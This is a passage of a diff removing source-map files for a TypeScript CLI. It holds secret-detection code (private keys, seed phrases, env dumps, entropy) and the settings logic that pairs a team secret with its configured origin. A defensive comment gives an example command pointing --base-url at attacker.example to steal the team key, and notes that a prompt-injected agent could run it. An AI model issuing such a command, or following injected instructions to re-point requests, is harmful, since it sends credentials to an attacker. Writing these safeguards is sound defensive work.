}\n }\n return out;\n}\n\n/**\n * How far back a label or URL scheme may sit. Bounded so the lookback is O(1)\n * per match rather than a fresh slice of the whole line: a transcript line\n * carrying hundreds of 64-hex values would otherwise be quadratic. A label is\n * relevant within ~40 characters and a scheme+host+path prefix within 256; past\n * that the value stays block, which is the fail-safe direction.\n */\nconst LABEL_LOOKBACK = 256;\n\nfunction isHashContext(line: string, matchIndex: number, match: string): boolean {\n if (PUBLIC_HEX_CONSTANTS.has(match.toLowerCase())) return true;\n const from = Math.max(0, matchIndex - LABEL_LOOKBACK);\n const before = line.slice(from, matchIndex);\n // A truncated window must not start mid-word, or `gridhash` cut to `hash`\n // reads as a label. Underscore is kept: it is the boundary `source_id` needs.\n const labelWindow = from === 0 ? before : before.replace(/^[A-Za-z0-9]+/, '');\n if (HASH_LABEL_RE.test(labelWindow)) return true;\n // The whitespace-delimited token containing the match starts with http(s)://.\n const prefix = /(\\S*)$/.exec(before)?.[1] ?? '';\n return /^https?:\\/\\//.test(line.slice(matchIndex - prefix.length));\n}\n\n// gitleaks private-key marker (RSA/EC/OPENSSH/PGP variants, optional BLOCK).\nconst PEM_BEGIN = /-----BEGIN[ A-Z0-9]*PRIVATE KEY(?: BLOCK)?-----/;\n\n/** A PEM private-key block is a single block finding on its BEGIN marker line. */\nfunction scanPemBlocks(lines: string[]): Finding[] {\n const out: Finding[] = [];\n for (let i = 0; i < lines.length; i++) {\n const line = lines[i] ?? '';\n const m = PEM_BEGIN.exec(line);\n if (m !== null) {\n out.push({\n check: 'pem-private-key',\n severity: 'block',\n line: i + 1,\n span: [m.index, m.index + m[0].length],\n excerpt: m[0], // the header marker only — no key material follows on it\n });\n }\n }\n return out;\n}\n\n// ---------------------------------------------------------------------------\n// BIP-39 seed phrases — block. A wallet-adjacent CLI that catches a hex key but\n// not a mnemonic is not protecting the thing that actually loses the funds.\n// ---------------------------------------------------------------------------\n\nconst BIP39_WORDS = new Set((wordlistJson as { words: string }).words.split(' '));\n/** The shortest valid BIP-39 mnemonic. Below this a run is prose, not a phrase. */\nconst SEED_PHRASE_MIN_WORDS = 12;\n\n/**\n * A run of >=12 consecutive wordlist words separated ONLY by spaces or tabs.\n * The whitespace-only rule is what keeps prose out: BIP-39 words are common\n * English, but twelve of them in a row with no punctuation is a phrase, not a\n * sentence. Tokens are walked rather than matched by one regex so the span is\n * exact and the pass stays linear on a transcript-length line.\n */\nfunction scanSeedPhrases(lines: string[]): Finding[] {\n const out: Finding[] = [];\n const token = /\\S+/g;\n for (let i = 0; i < lines.length; i++) {\n const line = lines[i] ?? '';\n token.lastIndex = 0;\n let runStart = -1;\n let runEnd = -1;\n let runWords = 0;\n let m: RegExpExecArray | null;\n const flush = (): void => {\n if (runWords >= SEED_PHRASE_MIN_WORDS) {\n out.push({\n check: 'bip39-seed-phrase',\n severity: 'block',\n line: i + 1,\n span: [runStart, runEnd],\n excerpt: `[redacted ${runWords}-word BIP-39 recovery phrase]`,\n });\n }\n runWords = 0;\n };\n while ((m = token.exec(line)) !== null) {\n if (BIP39_WORDS.has(m[0])) {\n if (runWords === 0) runStart = m.index;\n runEnd = m.index + m[0].length;\n runWords++;\n } else {\n flush();\n }\n }\n flush();\n }\n return out;\n}\n\n// ---------------------------------------------------------------------------\n// .env dump blocks — warn. One finding per run, naming the KEYS only.\n// ---------------------------------------------------------------------------\n\nconst ENV_LINE = /^\\s*(?:export\\s+)?([A-Z][A-Z0-9_]{2,})=(\\S.*)$/;\n/** Three lines is the shortest run that reads as a file rather than one example. */\nconst ENV_BLOCK_MIN_LINES = 3;\n/** A run of short values is configuration (PORT=3000); a long literal is a payload. */\nconst ENV_SUBSTANTIAL_VALUE = 12;\n\nfunction scanEnvDumpBlocks(lines: string[]): Finding[] {\n const out: Finding[] = [];\n let i = 0;\n while (i < lines.length) {\n const keys: string[] = [];\n let substantial = false;\n const start = i;\n let m: RegExpExecArray | null;\n while (i < lines.length && (m = ENV_LINE.exec(lines[i] ?? '')) !== null) {\n keys.push(m[1] ?? '');\n const value = dequote((m[2] ?? '').trim());\n if (value.length >= ENV_SUBSTANTIAL_VALUE && !isPlaceholder(value) && !isStructural(value)) {\n substantial = true;\n }\n i++;\n }\n if (keys.length >= ENV_BLOCK_MIN_LINES && substantial) {\n const shown = keys.slice(0, 3).join(', ');\n const rest = keys.length - 3;\n out.push({\n check: 'env-dump-block',\n severity: 'warn',\n line: start + 1,\n span: [0, (lines[start] ?? '').length],\n excerpt: `${keys.length} KEY=VALUE lines (${shown}${rest > 0 ? `, +${rest} more` : ''})`,\n });\n }\n if (i === start) i++;\n }\n return out;\n}\n\n// ---------------------------------------------------------------------------\n// Generic high-entropy token — warn. The catch-all behind the named shapes.\n// ---------------------------------------------------------------------------\n\n// `/` and `=` are deliberately outside the candidate class: with them in, every\n// long URL path (`com/BackTrackCo/tenjin-agent/issues/45`) and every\n// SHOUTY_KEY=value line reads as one high-entropy token, which is the warn\n// fatigue this detector is supposed to avoid causing. The cost is that a\n// standard-base64 payload is split on its `/` bytes; the credential families\n// that actually carry `/`-bearing base64 (JWT, PEM, OpenSSH) have named detectors.\nconst ENTROPY_CANDIDATE = /[A-Za-z0-9+_-]{32,}/g;\n/** Below this, base62 tokens of this length are not distinguishable from text. */\nconst MIN_ENTROPY_BITS = 3.5;\n/**\n * Random base62 almost never runs more than eight same-case letters; an\n * identifier (getUserProfileByAccountIdentifier) always does. This single test\n * is what keeps long camelCase symbols out of the findings list.\n */\nconst MAX_SAME_CASE_RUN = 8;\n\n/**\n * Long tokens whose character profile reads as key material. Suppressed when the\n * token overlaps a finding a named detector already produced, so a JWT or an AWS\n * key is reported once, by the detector that knows what it is.\n */\nfunction scanHighEntropy(lines: string[], named: Finding[]): Finding[] {\n const out: Finding[] = [];\n for (let i = 0; i < lines.length; i++) {\n const line = lines[i] ?? '';\n ENTROPY_CANDIDATE.lastIndex = 0;\n let m: RegExpExecArray | null;\n while ((m = ENTROPY_CANDIDATE.exec(line)) !== null) {\n const token = m[0];\n // Warn tier, so the substring placeholder test is allowed here.\n if (!looksRandom(token) || DOCS_PLACEHOLDER.test(token)) continue;\n const span: [number, number] = [m.index, m.index + token.length];\n if (named.some((f) => f.line === i + 1 && f.span[0] < span[1] && span[0] < f.span[1])) {\n continue;\n }\n out.push({\n check: 'high-entropy-string',\n severity: 'warn',\n line: i + 1,\n span,\n excerpt: maskKeeping(token, 4),\n });\n }\n }\n return out;\n}\n\nfunction looksRandom(token: string): boolean {\n if (!/[a-z]/.test(token) || !/[A-Z]/.test(token) || !/[0-9]/.test(token)) return false;\n if (longestSameCaseRun(token) > MAX_SAME_CASE_RUN) return false;\n return shannonBits(token) >= MIN_ENTROPY_BITS;\n}\n\nfunction longestSameCaseRun(token: string): number {\n let best = 0;\n let run = 0;\n let previous = '';\n for (const ch of token) {\n let kind = '';\n if (/[a-z]/.test(ch)) kind = 'lower';\n else if (/[A-Z]/.test(ch)) kind = 'upper';\n if (kind === '') run = 0;\n else run = kind === previous ? run + 1 : 1;\n previous = kind;\n if (run > best) best = run;\n }\n return best;\n}\n\nfunction shannonBits(token: string): number {\n const counts = new Map<string, number>();\n for (const ch of token) counts.set(ch, (counts.get(ch) ?? 0) + 1);\n let bits = 0;\n for (const n of counts.values()) {\n const p = n / token.length;\n bits -= p * Math.log2(p);\n }\n return bits;\n}\n\n/**\n * `hex32-value` is not a rule id: it is the warn form `scanHex64` demotes\n * `raw-private-key` to in hash context, so it follows that rule's scopes. A\n * team shelf keeps it because the emitting rule is scoped to team, never\n * because anything filters on `finding.check`. Exported for the fixture test\n * that pins the survivor set.\n */\nexport const EMITTED_CHECKS: Readonly<Record<string, string>> = {\n 'hex32-value': 'raw-private-key',\n};\n\n/** Every rule id `findings()` can report for a scope, emitted checks included. */\nexport function checksFor(scope: ReportScope): ReadonlySet<string> {\n const ids = new Set(CORPUS.rules.filter((r) => r.scopes.includes(scope)).map((r) => r.id));\n for (const [check, rule] of Object.entries(EMITTED_CHECKS)) if (ids.has(rule)) ids.add(check);\n return ids;\n}\n\nconst CHECKS: Record<ReportScope, ReadonlySet<string>> = {\n publish: checksFor('publish'),\n team: checksFor('team'),\n};\n\nconst FENCE = /^(\\s*)(`{3,}|~{3,})/;\n\n/**\n * Long verbatim runs — warn (a rights, not a secrets, concern). A fenced code\n * block or a contiguous `>` blockquote whose content reaches LONG_QUOTE_WORDS\n * reads as copied third-party material. Reported once on the run's first line.\n */\nfunction scanLongVerbatim(lines: string[]): Finding[] {\n const out: Finding[] = [];\n let i = 0;\n while (i < lines.length) {\n const line = lines[i] ?? '';\n const fence = FENCE.exec(line);\n if (fence !== null) {\n const marker = fence[2] ?? '```';\n const start = i;\n const body: string[] = [];\n i++;\n while (i < lines.length && !closesFence(lines[i] ?? '', marker)) {\n body.push(lines[i] ?? '');\n i++;\n }\n i++; // consume the closing fence (or run off the end)\n pushIfLong(out, body, start, line);\n continue;\n }\n if (/^\\s*>/.test(line)) {\n const start = i;\n const body: string[] = [];\n while (i < lines.length && /^\\s*>/.test(lines[i] ?? '')) {\n body.push((lines[i] ?? '').replace(/^\\s*>\\s?/, ''));\n i++;\n }\n pushIfLong(out, body, start, lines[start] ?? '');\n continue;\n }\n i++;\n }\n return out;\n}\n\nfunction closesFence(line: string, marker: string): boolean {\n const m = FENCE.exec(line);\n return m !== null && (m[2] ?? '').startsWith(marker);\n}\n\nfunction pushIfLong(out: Finding[], body: string[], startLine: number, firstLine: string): void {\n const text = body.join(' ').trim();\n const words = text.length === 0 ? 0 : text.split(/\\s+/).length;\n if (words < LONG_QUOTE_WORDS) return;\n out.push({\n check: 'long-verbatim-quote',\n severity: 'warn',\n line: startLine + 1,\n span: [0, firstLine.length],\n excerpt: truncate(text, 60),\n });\n}\n\n/**\n * Deterministic order: line, then start column, then check name. Exact duplicate\n * spans of the same check (e.g. two detectors on the same offset) collapse to one.\n */\nfunction dedupeAndSort(findings: Finding[]): Finding[] {\n const seen = new Set<string>();\n const unique = findings.filter((f) => {\n const key = `${f.check}:${f.line}:${f.span[0]}:${f.span[1]}`;\n if (seen.has(key)) return false;\n seen.add(key);\n return true;\n });\n return unique.sort(\n (a, b) => a.line - b.line || a.span[0] - b.span[0] || a.check.localeCompare(b.check),\n );\n}\n"],"m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,WAAmB,WAAyB;AAC9F,QAAM,OAAO,KAAK,KAAK,GAAG,EAAE,KAAK;AACjC,QAAM,QAAQ,KAAK,WAAW,IAAI,IAAI,KAAK,MAAM,KAAK,EAAE;AACxD,MAAI,QAAQ,iBAAkB;AAC9B,MAAI,KAAK;AAAA,IACP,OAAO;AAAA,IACP,UAAU;AAAA,IACV,MAAM,YAAY;AAAA,IAClB,MAAM,CAAC,GAAG,UAAU,MAAM;AAAA,IAC1B,SAAS,SAAS,MAAM,EAAE;AAAA,EAC5B,CAAC;AACH;AAMA,SAAS,cAAcA,WAAgC;AACrD,QAAM,OAAO,oBAAI,IAAY;AAC7B,QAAM,SAASA,UAAS,OAAO,CAAC,MAAM;AACpC,UAAM,MAAM,GAAG,EAAE,KAAK,IAAI,EAAE,IAAI,IAAI,EAAE,KAAK,CAAC,CAAC,IAAI,EAAE,KAAK,CAAC,CAAC;AAC1D,QAAI,KAAK,IAAI,GAAG,EAAG,QAAO;AAC1B,SAAK,IAAI,GAAG;AACZ,WAAO;AAAA,EACT,CAAC;AACD,SAAO,OAAO;AAAA,IACZ,CAAC,GAAG,MAAM,EAAE,OAAO,EAAE,QAAQ,EAAE,KAAK,CAAC,IAAI,EAAE,KAAK,CAAC,KAAK,EAAE,MAAM,cAAc,EAAE,KAAK;AAAA,EACrF;AACF;","names":["findings"]}
@@ -1 +0,0 @@
1
- {"version":3,"sources":["../src/lib/settings.ts"],"sourcesContent":["import { execFile } from 'node:child_process';\nimport { readFile, stat } from 'node:fs/promises';\nimport { homedir } from 'node:os';\nimport { dirname, join } from 'node:path';\nimport { z } from 'zod';\nimport { CliError } from './errors';\nimport {\n CONFIG_DEFAULTS,\n PublishModeSchema,\n SEND_MAX_UNSET,\n loadRawConfig,\n resolveAckServerWarnings,\n resolvePublishDefaultPrice,\n resolvePublishMode,\n resolveSettings,\n} from './config';\nimport type {\n AckServerWarnings,\n EffectiveSettings,\n PartialConfig,\n Provenance,\n ProjectPublishLayer,\n PublishMode,\n} from './config';\nimport type { ShelfBypass } from './http';\nimport { parseUsdToAtomic } from './money';\nimport { PRODUCTION_ORIGIN, isSameDeployment } from './production-origin';\nimport { parseConfirmPolicy, type SpendPolicy } from './policy';\nimport type { CommandContext } from '../context';\n\n/**\n * The effective runtime settings a B2 command needs, resolved once through the\n * same precedence (flag > env > file > default) config/doctor use. Spend values\n * arrive atomic from config and are handed on as bigint for the policy layer.\n */\nexport interface ResolvedSettings {\n baseUrl: string;\n /**\n * `baseUrl` AS THE CONFIG FILE NAMES IT, before `--base-url`/`TENJIN_BASE_URL`.\n * Anything that wallet-signs pins to this rather than to {@link baseUrl}: a\n * flag can point a run at another host, and an agent that names one must not\n * thereby move the pin. Same rule, same reason, as {@link resolveShelfBypass}.\n */\n configuredBaseUrl: string;\n /** The public marketplace: the second shelf a team-mode search falls through\n * to, and the one other origin `read`/`buy`/`inspect` will resolve against. */\n publicShelfUrl: string;\n /**\n * The team shelf's bypass secret paired with the CONFIGURED `baseUrl`'s\n * origin, or undefined in public mode and on a run whose base URL came from\n * `--base-url`/`TENJIN_BASE_URL` (see {@link resolveShelfBypass}). Handed to\n * the transport, which attaches the header from the REQUEST URL — so it cannot\n * reach `publicShelfUrl` however it is passed.\n */\n bypass?: ShelfBypass;\n /** True exactly when the door key was issued: the one switch between public\n * mode and team mode. */\n teamMode: boolean;\n rpcUrl: string;\n policy: SpendPolicy;\n /** Search-only privacy opt-in; sends X-Tenjin-Eval-Cohort: 1 when true. */\n evalCohort: boolean;\n /** Bazaar pay lane opt-in (`tenjin pay` off the configured base URL). */\n bazaarPay: boolean;\n /** x402 discovery registries `discover` queries and the pay lane verifies against. */\n bazaarRegistries: string[];\n /**\n * Hard per-send cap for `tenjin wallet send`: SEND_MAX_UNSET = never configured\n * (send refuses until `config set sendMaxAmount`), null = explicit \"none\"\n * (uncapped opt-in), 0n = disabled, otherwise the atomic cap.\n */\n sendMaxAmountAtomic: bigint | null | typeof SEND_MAX_UNSET;\n}\n\n/** `URL.origin`, or undefined for anything unparseable. */\nfunction tryOrigin(url: string): string | undefined {\n try {\n return new URL(url).origin;\n } catch {\n return undefined;\n }\n}\n\n/**\n * The team shelf's door key, paired with the origin THE OPERATOR CONFIGURED —\n * never with the one this run happens to be pointed at.\n *\n * `shelfBypassSecret` is file-only, but `baseUrl` is not: `--base-url` and\n * `TENJIN_BASE_URL` outrank the file. Pairing the secret with the RESOLVED base\n * URL therefore let one command hand the team's key to any host that was named\n * on the command line — `tenjin search --base-url https://attacker.example \"…\"`\n * sends it in the first request, and the transport's origin test agrees, because\n * the pair it compares against was built from the attacker's URL. That is not a\n * hypothetical shape: `resource-ref`'s own refusal text already names a\n * task-supplied `--base-url` as the attack a prompt-injected agent runs.\n *\n * So the compare happens here, once, before the pair exists: the key is issued\n * only when the run is still pointed at the configured shelf. A run pointed\n * anywhere else gets NO pair at all, which also drops team mode — an overridden\n * base URL runs as an ordinary public-mode run, with the client scan and the\n * confirm cascade back on, rather than as a team-mode run against a stranger.\n *\n * The generated hooks need no equivalent for the flag rule: they read `baseUrl`\n * straight out of config.json and have no flag or env layer to be re-pointed\n * through. They DO carry the second rule below (`teamShelfOrigin`).\n *\n * SECOND RULE: THE TEAM SHELF MUST BE A SHELF OF ITS OWN. Team mode was keyed on\n * a non-empty secret alone, and both `baseUrl` and `publicShelfUrl` default to\n * tenjin.blog, so the two-command day-0 setup run in the other order — or the\n * secret line alone on a second machine — put a machine in \"team mode\" pointed\n * at the PUBLIC MARKETPLACE. Team mode is precisely the mode that skips the\n * publish scan, skips the confirm cascade and prices at 0, so under\n * `publish.mode full-auto` that misconfiguration auto-publishes internal\n * codebase notes to tenjin.blog, unscanned and unacknowledged; it also posts the\n * team's key to the public marketplace and searches one origin twice per fire.\n * A secret with no private shelf behind it is a setup that is not finished, so\n * it fails safe to public mode rather than half-on. `tenjin doctor` and\n * `config set shelfBypassSecret` say so out loud, because silence here is what\n * made the misconfiguration survivable.\n */\nexport function resolveShelfBypass(\n config: PartialConfig,\n s: EffectiveSettings,\n): ShelfBypass | undefined {\n const secret = s.shelfBypassSecret.value;\n if (secret.length === 0) return undefined;\n const configured = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n const effective = tryOrigin(s.baseUrl.value);\n if (configured === undefined || effective === undefined || configured !== effective) {\n return undefined;\n }\n if (!isTeamShelfOrigin(configured, s.publicShelfUrl.value)) return undefined;\n return { origin: configured, secret };\n}\n\n/**\n * Is `origin` a shelf of the team's own, as opposed to the public marketplace?\n *\n * The compare `resource-ref` already makes to no-op its second-origin allowance,\n * plus the production origin itself: a `publicShelfUrl` pointed somewhere else\n * must not make tenjin.blog read as private. `isSameDeployment` rather than `===`\n * so an alias of production (tenjin.sh) is not a loophole.\n */\nexport function isTeamShelfOrigin(origin: string, publicShelfUrl: string): boolean {\n if (isSameDeployment(origin, PRODUCTION_ORIGIN)) return false;\n const publicOrigin = tryOrigin(publicShelfUrl);\n return publicOrigin === undefined || !isSameDeployment(origin, publicOrigin);\n}\n\n/**\n * Is this MACHINE in team mode — a shelf of the team's own plus the door key that\n * opens it? The same two-part rule `resolveContextSettings` applies\n * (`ResolvedSettings.teamMode`), read off the raw config instead of resolved\n * settings, and the difference is deliberate: a `--base-url` or `TENJIN_BASE_URL`\n * on one invocation must not answer this question.\n *\n * The installed skill text (lib/skill-materialize) needs the raw-config form: it\n * outlives the command that wrote it and is read by every later session on this\n * machine, so shaping it by a one-off flag would leave a team machine reading\n * public guidance until the next install.\n *\n * A secret with `baseUrl` still on the marketplace is NOT team mode, per\n * {@link isTeamShelfOrigin}: that half-set state runs as ordinary public mode\n * rather than treating tenjin.blog as a private shelf.\n */\nexport function isTeamModeConfig(config: PartialConfig): boolean {\n const secret = config.shelfBypassSecret ?? CONFIG_DEFAULTS.shelfBypassSecret;\n if (typeof secret !== 'string' || secret === '') return false;\n const origin = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n if (origin === undefined) return false;\n return isTeamShelfOrigin(origin, config.publicShelfUrl ?? CONFIG_DEFAULTS.publicShelfUrl);\n}\n\n/** Where a close for one stored search has to go, and whether it carries the key. */\nexport interface ShelfRoute {\n baseUrl: string;\n bypass?: ShelfBypass;\n /**\n * False when the ENTRY named a shelf other than the configured `baseUrl` —\n * including an unrecognised origin, which `baseUrl` above nonetheless routes\n * back to the configured shelf.\n */\n configured: boolean;\n}\n\n/**\n * THE SHELF THAT ANSWERED, for anything closing a loop.\n *\n * A team-mode search asks the team shelf and falls through to the public\n * marketplace, and the two have separate databases: the searchId the public leg\n * minted exists only there. Posting its outcome to the team shelf tells the team\n * shelf about a search it never ran (where it retries a parent-not-visible window\n * and then raises `outcomes_dropped_no_parent`, an alarm meant to mean a broken\n * fleet) and tells the marketplace — whose demand signal is the entire reason the\n * verb exists — nothing at all.\n *\n * `shelfBaseUrl` is absent on an entry written before it existed and on every\n * single-shelf public-mode run, and absent means the configured base, which is\n * what those entries meant.\n *\n * ONLY THE TWO CONFIGURED SHELVES ARE ROUTABLE. `shelfBaseUrl` is a plain\n * optional string in the store schema with no URL validation, and the only\n * writers are this CLI's own two configured values — so any OTHER origin in that\n * field is a corrupt or planted entry, not a third shelf, and one hand-edited\n * search row would otherwise make `tenjin outcome --search-id` POST to\n * a host the operator never configured. An unrecognised origin therefore routes\n * to the configured base exactly as a missing or unparseable one does: fail open\n * to the configured shelf, never out to a foreign one. This is the same\n * re-assertion `resolveResourceRef` already makes against this store's\n * `candidate.url` before any send. `configured` still reports false for such an\n * entry, so `publish` keeps dropping its searchId rather than misfiling it.\n *\n * THE KEY RIDES THE ORIGIN, not the call site: `bypass` comes back only when the\n * route is the origin the secret was paired with. The transport re-derives the\n * same rule from the request URL ({@link shelfBypassHeaders}), so this is the\n * second of two locks rather than the only one — but a call site that reads\n * `route.bypass` should never be the place a key first goes off-origin.\n */\nexport function shelfRouteFor(\n stored: { shelfBaseUrl?: string } | null | undefined,\n settings: Pick<ResolvedSettings, 'baseUrl' | 'publicShelfUrl' | 'bypass'>,\n): ShelfRoute {\n const recorded = stored?.shelfBaseUrl;\n const configuredOrigin = tryOrigin(settings.baseUrl);\n const recordedOrigin = recorded === undefined ? undefined : tryOrigin(recorded);\n // An unparseable record is not a second shelf, it is a corrupt field: fall back\n // to the configured base rather than posting a close nowhere.\n if (recorded === undefined || recordedOrigin === undefined) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: true,\n };\n }\n const configured =\n configuredOrigin !== undefined && isSameDeployment(recordedOrigin, configuredOrigin);\n // The allow-list: the configured base, or the public shelf it falls through to.\n // Nothing else is a shelf this machine ever searched.\n const publicOrigin = tryOrigin(settings.publicShelfUrl);\n const routable =\n configured || (publicOrigin !== undefined && isSameDeployment(recordedOrigin, publicOrigin));\n if (!routable) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: false,\n };\n }\n const carries = settings.bypass !== undefined && settings.bypass.origin === recordedOrigin;\n return {\n baseUrl: recorded,\n ...(carries ? { bypass: settings.bypass } : {}),\n configured,\n };\n}\n\nexport async function resolveContextSettings(ctx: CommandContext): Promise<ResolvedSettings> {\n const config = await loadRawConfig(ctx.dataDir);\n const s = resolveSettings({ config, flags: { baseUrl: ctx.flags.baseUrl }, env: process.env });\n // Paired with the origin here, once, so no command has to remember to.\n const bypass = resolveShelfBypass(config, s);\n return {\n baseUrl: s.baseUrl.value,\n configuredBaseUrl: config.baseUrl ?? CONFIG_DEFAULTS.baseUrl,\n publicShelfUrl: s.publicShelfUrl.value,\n ...(bypass !== undefined ? { bypass } : {}),\n teamMode: bypass !== undefined,\n rpcUrl: s.rpcUrl.value,\n evalCohort: s.evalCohort.value,\n bazaarPay: s.bazaarPay.value,\n bazaarRegistries: s.bazaarRegistries.value,\n sendMaxAmountAtomic:\n s.sendMaxAmount.value === SEND_MAX_UNSET\n ? SEND_MAX_UNSET\n : s.sendMaxAmount.value === 'none'\n ? null\n : BigInt(s.sendMaxAmount.value),\n policy: {\n maxAutoSpendAtomic: BigInt(s.maxAutoSpend.value),\n sessionBudgetAtomic: BigInt(s.sessionBudget.value),\n confirm: parseConfirmPolicy(s.confirm.value),\n allowlistCreators: s.allowlistCreators.value,\n },\n };\n}\n\n// ---------------------------------------------------------------------------\n// Publish consent settings (B3, D38)\n//\n// The publish mode/price cascade extends the same precedence machinery\n// (resolvePublishMode / resolvePublishDefaultPrice in lib/config) with a\n// per-project layer that needs I/O the pure resolvers can't do: it walks up from\n// cwd for a `.tenjin.json` and asks git whether that file is committed (the\n// loosening gate on `full-auto`). It lives here beside resolveContextSettings so\n// there is one settings resolver, not a parallel one.\n// ---------------------------------------------------------------------------\n\nexport const PROJECT_CONFIG_FILE = '.tenjin.json';\n\n/**\n * The per-project override file. `publish.defaultPrice` is DECIMAL USD (\"0.10\"),\n * because a hand-edited project file is a human edge (O1) — unlike config.json,\n * which stores atomic because `config set` converts at the command edge. The\n * decimal string is converted to atomic at load via the same money util the\n * config command uses. Partial + passthrough: forward-compatible with subkeys a\n * newer CLI adds, same posture as the global config.\n */\nconst ProjectConfigSchema = z\n .object({\n publish: z\n .object({\n mode: PublishModeSchema.optional(),\n defaultPrice: z.string().optional(),\n })\n .passthrough()\n .optional(),\n })\n .passthrough();\n\nexport interface LoadedProjectConfig {\n /** Absolute path of the discovered `.tenjin.json`. */\n path: string;\n layer: ProjectPublishLayer;\n}\n\nexport interface PublishSettingsDeps {\n /** git check-ignore seam; defaults to shelling out to git (see wallet/passphrase). */\n isGitignored?: (filePath: string) => Promise<boolean>;\n /** Ownership seam; defaults to stat().uid vs process uid. Gates a planted file. */\n isForeignOwned?: (filePath: string) => Promise<boolean>;\n /** One-line stderr warning sink; defaults to process.stderr. */\n warn?: (message: string) => void;\n /** Upper bound of the walk; defaults to the user's home directory. */\n homeDir?: string;\n}\n\nexport interface ResolvedPublishSettings {\n mode: PublishMode;\n modeSource: Provenance;\n defaultPriceAtomic: string;\n defaultPriceSource: Provenance;\n /** The standing answer to the server gate's warn tier; see lib/consent.ts. */\n ackServerWarnings: AckServerWarnings;\n /** Non-fatal notices for stderr (e.g. the full-auto downgrade). */\n warnings: string[];\n /** The `.tenjin.json` that contributed the project layer, if one was found. */\n projectConfigPath?: string;\n}\n\n/**\n * Resolve the effective publish mode + default price across every layer:\n * global config.json < project `.tenjin.json` < env (TENJIN_PUBLISH_MODE) <\n * flag (`--mode`), with the `full-auto` loosening gate applied to the project\n * layer. The seam a `publish` command (B3.2) resolves its consent through.\n */\nexport async function resolvePublishSettings(\n input: { dataDir: string; cwd: string; flag?: string; env?: NodeJS.ProcessEnv },\n deps: PublishSettingsDeps = {},\n): Promise<ResolvedPublishSettings> {\n const env = input.env ?? process.env;\n const config = await loadRawConfig(input.dataDir);\n const project = await loadProjectConfig(input.cwd, deps);\n const layer = project?.layer;\n\n const mode = resolvePublishMode({ config, project: layer, env, flag: input.flag });\n const price = resolvePublishDefaultPrice({ config, project: layer });\n const warnings = mode.downgradedWarning !== undefined ? [mode.downgradedWarning] : [];\n // Said out loud for the same reason the downgrade is: a consent setting the\n // operator believes is in force, and is not, is worse than one they know is\n // ignored. `writeModeNotices` puts every entry of this list on stderr.\n if (layer?.ignoredAckServerWarnings === true) {\n warnings.push(\n `Ignoring publish.ackServerWarnings in ${project?.path ?? PROJECT_CONFIG_FILE}: it is read from the global config only, since it can only widen what a yes covers. Set it with \\`tenjin config set publish.ackServerWarnings <mode|on|off>\\`.`,\n );\n }\n\n return {\n mode: mode.value,\n modeSource: mode.source,\n defaultPriceAtomic: price.value,\n defaultPriceSource: price.source,\n // Global config only, on purpose: the project layer never contributes here,\n // so `project` is deliberately not passed. ONE reader, the same one\n // `resolveSettings` uses, because two global-only readings that drifted\n // would drift about consent.\n ackServerWarnings: resolveAckServerWarnings(config).value,\n warnings,\n ...(project !== null ? { projectConfigPath: project.path } : {}),\n };\n}\n\n/**\n * Find the nearest `.tenjin.json` walking up from cwd toward the repo root (the\n * first directory holding a `.git`, inclusive), never crossing above $HOME, then\n * load, validate, and check whether it is gitignored. A file not owned by the\n * current user is ignored with a stderr warning (a planted config on a shared\n * host must not become the honored project layer). Null when none is found; a\n * present-but-unreadable/malformed file is CONFIG_INVALID (never silently\n * skipped).\n */\nexport async function loadProjectConfig(\n cwd: string,\n deps: PublishSettingsDeps = {},\n): Promise<LoadedProjectConfig | null> {\n const path = await findProjectConfigFile(cwd, deps);\n if (path === null) return null;\n\n let json: unknown;\n try {\n // readFile is inside the try: a raced delete (ENOENT), a directory named\n // .tenjin.json (EISDIR), or a permission error (EACCES) is a bad project file,\n // not an INTERNAL fault.\n json = JSON.parse(await readFile(path, 'utf8'));\n } catch (err) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} could not be read`, {\n fix: `Fix or delete ${path} (must be a readable JSON file).`,\n cause: err,\n });\n }\n const parsed = ProjectConfigSchema.safeParse(json);\n if (!parsed.success) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} is invalid`, {\n fix: `Correct the reported keys in ${path}, or delete it.`,\n details: parsed.error.issues,\n });\n }\n\n const isGitignored = deps.isGitignored ?? defaultIsGitignored;\n const gitignored = await isGitignored(path);\n const layer: ProjectPublishLayer = { gitignored };\n if (parsed.data.publish !== undefined) {\n const { mode, defaultPrice } = parsed.data.publish;\n layer.publish = {\n ...(mode !== undefined ? { mode } : {}),\n ...(defaultPrice !== undefined\n ? { defaultPrice: parseProjectPrice(defaultPrice, path) }\n : {}),\n };\n // The block is passthrough, so this key parses here and is then never read:\n // `ackServerWarnings` is global-only because it can only loosen what a yes\n // covers. Failing closed is the point, but doing it SILENTLY leaves an\n // operator believing a consent setting is in force that is not, so it says\n // so on stderr the way a downgraded `full-auto` does.\n if ((parsed.data.publish as { ackServerWarnings?: unknown }).ackServerWarnings !== undefined) {\n layer.ignoredAckServerWarnings = true;\n }\n }\n return { path, layer };\n}\n\n/**\n * Convert a `.tenjin.json` decimal-USD price to atomic via the shared money\n * parser. parseUsdToAtomic throws USAGE on a bad amount; re-raise as\n * CONFIG_INVALID naming the file, so it reads like the file's other errors.\n */\nfunction parseProjectPrice(decimalUsd: string, path: string): string {\n try {\n return parseUsdToAtomic(decimalUsd);\n } catch (err) {\n throw new CliError(\n 'CONFIG_INVALID',\n `${PROJECT_CONFIG_FILE} at ${path} has an invalid publish.defaultPrice`,\n { fix: 'Use a non-negative decimal USD amount like \"0.10\".', cause: err },\n );\n }\n}\n\nasync function findProjectConfigFile(\n cwd: string,\n deps: PublishSettingsDeps,\n): Promise<string | null> {\n const homeDir = deps.homeDir ?? homedir();\n const isForeignOwned = deps.isForeignOwned ?? defaultIsForeignOwned;\n const warn = deps.warn ?? ((message: string) => process.stderr.write(`${message}\\n`));\n\n let dir = cwd;\n // Bounded by $HOME (a shared-host trust boundary) and the filesystem root\n // (dirname('/') === '/'), whichever comes first.\n for (;;) {\n const candidate = join(dir, PROJECT_CONFIG_FILE);\n if (await pathExists(candidate)) {\n if (await isForeignOwned(candidate)) {\n // A file owned by another user (e.g. /tmp/.tenjin.json on a shared box)\n // must never become the honored layer; skip it and keep walking.\n warn(`Ignoring ${candidate}: not owned by the current user.`);\n } else {\n return 